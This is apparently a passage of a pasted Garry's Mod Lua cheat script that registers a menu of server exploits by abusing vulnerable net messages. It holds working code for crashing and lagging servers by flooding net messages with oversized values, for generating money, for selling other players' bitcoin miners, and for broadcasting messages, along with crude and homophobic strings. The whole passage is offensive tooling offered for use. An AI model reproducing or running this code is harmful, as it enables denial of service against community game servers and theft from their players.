  963. surface.PlaySound("garrysmod/ui_click.wav")
  964.  
  965.  
  966. inputFrame2Exists = true
  967. inputFrame2 = vgui.Create( "DFrame" )
  968. inputFrame2:SetTitle("Choose a weapon!")
  969. inputFrame2:SetSize( 400, 75 )
  970. inputFrame2:SetPos(ScrW() / 2 - inputFrame2:GetWide() / 2, ScrH() / 2 + 230 )
  971. inputFrame2:SetDraggable(false)
  972. inputFrame2:ShowCloseButton(false)
  973. inputFrame2:MakePopup()
  974. inputFrame2.Paint = function( self, w, h )
  975. draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
  976. end
  977.  
  978. local TextEntry2 = vgui.Create( "DTextEntry", inputFrame2 )
  979. TextEntry2:SetSize( 380, 30 )
  980. TextEntry2:SetPos( inputFrame2:GetWide() / 2 - TextEntry2:GetWide() / 2, inputFrame2:GetTall() / 2 - TextEntry2:GetTall() / 2 )
  981. TextEntry2:SetText( "Broadcast Msg" )
  982. TextEntry2.OnEnter = function( self )
  983. surface.PlaySound("garrysmod/ui_click.wav")
  984. ECNotify("Broadcasting")
  985.  
  986.  
  987. net.Start("VJSay")
  988. net.WriteEntity(nil)
  989. net.WriteString(TextEntry2:GetValue())
  990. net.WriteString("")
  991. net.SendToServer()
  992.  
  993. inputFrame2:SetVisible(false)
  994. end
  995.  
  996.  
  997.  
  998. end);end
  999.  
  1000.  
  1001. local status = ValidNetString("ply_pick_shit")
  1002. if (status) then
  1003. ECPrint("Found Exploit: free money amirite")
  1004. addExploit( "46","free money amirite", "stacks in ur wallet generator", function()
  1005. surface.PlaySound("garrysmod/ui_click.wav")
  1006.  
  1007. for k, v in pairs (player.GetAll()) do
  1008. for i = 1,255 do
  1009. net.Start("ply_pick_shit")
  1010.  
  1011. net.WriteEntity(LocalPlayer())
  1012.  
  1013. net.WriteEntity(v)
  1014.  
  1015. net.SendToServer()
  1016. end
  1017. end
  1018. ECNotify("enjoy monies")
  1019. end);end
  1020.  
  1021. local status = ValidNetString("pac.net.TouchFlexes.ClientNotify")
  1022. if (status) then
  1023. ECPrint("Found Exploit: Crasher")
  1024. addExploit( "47","Crasher #2", "discovered by triggered", function()
  1025. surface.PlaySound("garrysmod/ui_click.wav")
  1026.  
  1027. if !timer.Exists( "lagger13" ) then
  1028. timer.Create("lagger13", 0, 0, function()
  1029. for i = 1, 400 do
  1030. net.Start("pac.net.TouchFlexes.ClientNotify")
  1031. net.WriteInt( 9999999999999999999999999999999999999999999999999999999999999999999999, 13)
  1032. net.SendToServer()
  1033. end
  1034. end)
  1035. ECNotify("Starting Crasher")
  1036. else
  1037. timer.Remove("lagger13")
  1038. ECNotify("Stopping Crasher")
  1039. end
  1040. end);end
  1041.  
  1042. local status = ValidNetString("BM2.Command.SellBitcoins")
  1043. if (status) then
  1044. ECPrint("Found Exploit: Take My Bitcoins")
  1045. addExploit( "48","Take My Bitcoins", "discovered by triggered", function()
  1046. surface.PlaySound("garrysmod/ui_click.wav")
  1047.  
  1048. for k, v in pairs(ents.FindByClass("bm2_bitminer_1")) do
  1049. net.Start("BM2.Command.SellBitcoins")
  1050. net.WriteEntity(v)
  1051. net.SendToServer()
  1052. end
  1053.  
  1054. for k, v in pairs(ents.FindByClass("bm2_bitminer_2")) do
  1055. net.Start("BM2.Command.SellBitcoins")
  1056. net.WriteEntity(v)
  1057. net.SendToServer()
  1058. end
  1059.  
  1060. for k, v in pairs(ents.FindByClass("bm2_bitminer_rack")) do
  1061. net.Start("BM2.Command.SellBitcoins")
  1062. net.WriteEntity(v)
  1063. net.SendToServer()
  1064. end
  1065.  
  1066. end);end
  1067.  
  1068. local status = ValidNetString("BM2.Command.Eject")
  1069. if (status) then
  1070. ECPrint("Found Exploit: Lagger #13")
  1071. addExploit( "49","Lagger #13", "discovered by triggered", function()
  1072. surface.PlaySound("garrysmod/ui_click.wav")
  1073.  
  1074. if !timer.Exists( "lagger14" ) then
  1075. timer.Create("lagger14", 0, 0, function()
  1076. for i = 1, 1000 do
  1077. net.Start("BM2.Command.Eject")
  1078. net.WriteInt( 9999999999999999999999999999999999999999999999999999999999999999999999, 8)
  1079. net.SendToServer()
  1080. end
  1081. end)
  1082. ECNotify("Starting Lagger")
  1083. else
  1084. timer.Remove("lagger14")
  1085. ECNotify("Stopping Lagger")
  1086. end
  1087. end);end
  1088.  
  1089. local status = ValidNetString("ItemStoreUse")
  1090. if (status) then
  1091. ECPrint("Found Exploit: Lagger #14")
  1092. addExploit( "50","Lagger #14", "discovered by triggered", function()
  1093. surface.PlaySound("garrysmod/ui_click.wav")
  1094.  
  1095. if !timer.Exists( "lagger15" ) then
  1096. timer.Create("lagger15", 0, 0, function()
  1097. for i = 1, 200 do
  1098. net.Start("ItemStoreUse")
  1099. net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
  1100. net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
  1101. net.SendToServer()
  1102. end
  1103. end)
  1104. ECNotify("Starting Lagger")
  1105. else
  1106. timer.Remove("lagger15")
  1107. ECNotify("Stopping Lagger")
  1108. end
  1109. end);end
  1110.  
  1111. local status = ValidNetString("TFA_Attachment_RequestAll")
  1112. if (status) then
  1113. ECPrint("Found Exploit: Lagger #15")
  1114. addExploit( "51","Lagger #15", "anal is good", function()
  1115. surface.PlaySound("garrysmod/ui_click.wav")
  1116.  
  1117. if !timer.Exists( "lagger16" ) then
  1118. timer.Create("lagger16", 0,0, function()
  1119. for i = 1, 800 do
  1120. net.Start("TFA_Attachment_RequestAll")
  1121. net.SendToServer()
  1122. end
  1123. end)
  1124. ECNotify("Starting Lagger")
  1125. else
  1126. timer.Remove("lagger16")
  1127. ECNotify("Stopping Lagger")
  1128. end
  1129. end);end
  1130.  
  1131. local status = ValidNetString("Chess Top10")
  1132. if (status) then
  1133. ECPrint("Found Exploit: Lagger #16")
  1134. addExploit( "52","Lagger #16", "discovered by triggered", function()
  1135. surface.PlaySound("garrysmod/ui_click.wav")
  1136.  
  1137. if !timer.Exists( "lagger17" ) then
  1138. timer.Create("lagger17", 0,0, function()
  1139. for i = 1, 25 do
  1140. net.Start("Chess Top10")
  1141. net.WriteString("womble is gay xd")
  1142. net.SendToServer()
  1143. end
  1144. end)
  1145. ECNotify("Starting Lagger")
  1146. else
  1147. timer.Remove("lagger17")
  1148. ECNotify("Stopping Lagger")
  1149. end
  1150. end);end
  1151.  
  1152. local status = ValidNetString("PlayerUseItem")
  1153. if (status) then
  1154. ECPrint("Found Exploit: Lagger #17")
  1155. addExploit( "53","Lagger #17", "discovered by triggered", function()
  1156. surface.PlaySound("garrysmod/ui_click.wav")
  1157.  
  1158. if !timer.Exists( "lagger18" ) then
  1159. timer.Create("lagger18", 0,0, function()
  1160. for i = 1, 800 do
  1161. net.Start("PlayerUseItem")
  1162. net.WriteInt(99999999999999999999999999999999999999999999999, 32)
  1163. net.SendToServer()
  1164. end
  1165. end)
  1166. ECNotify("Starting Lagger")
  1167. else
  1168. timer.Remove("lagger18")
  1169. ECNotify("Stopping Lagger")
  1170. end
  1171. end);end
  1172.  
  1173.  
  1174. /*
  1175. local status = ValidNetString("RHC_jail_player")
  1176. if (status) then
  1177. ECPrint("Found Exploit: Lagger #17")
  1178. addExploit( "53","Lagger #17", "discovered by triggered", function()
  1179. surface.PlaySound("garrysmod/ui_click.wav")
  1180.  
  1181. if !timer.Exists( "lagger18" ) then
  1182. timer.Create("lagger18", 0,0, function()
  1183. for i = 1, 800 do
  1184. net.Start("RHC_jail_player")
  1185. --net.WriteEntity(game.GetWorld())
  1186. net.WriteFloat(-9999.999999999999999999999999999999999999999999)
  1187. net.SendToServer()
  1188. end
  1189. end)
  1190. ECNotify("Starting Lagger")
  1191. else
  1192. timer.Remove("lagger18")
  1193. ECNotify("Stopping Lagger")
  1194. end
  1195. end);end
  1196. */
  1197.  
  1198.  
  1199.  
  1200. concommand.Add("exploits_open", function()
  1201. menu:SetVisible(true)
  1202. menu:MakePopup()
  1203. menu:AlphaTo(255, 0.5, 0)
  1204. hook.Add("RenderScreenspaceEffects", "menuBlur", function()
  1205. DrawToyTown( 3, ScrH() )
  1206. end)
  1207. end)
  1208. //
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement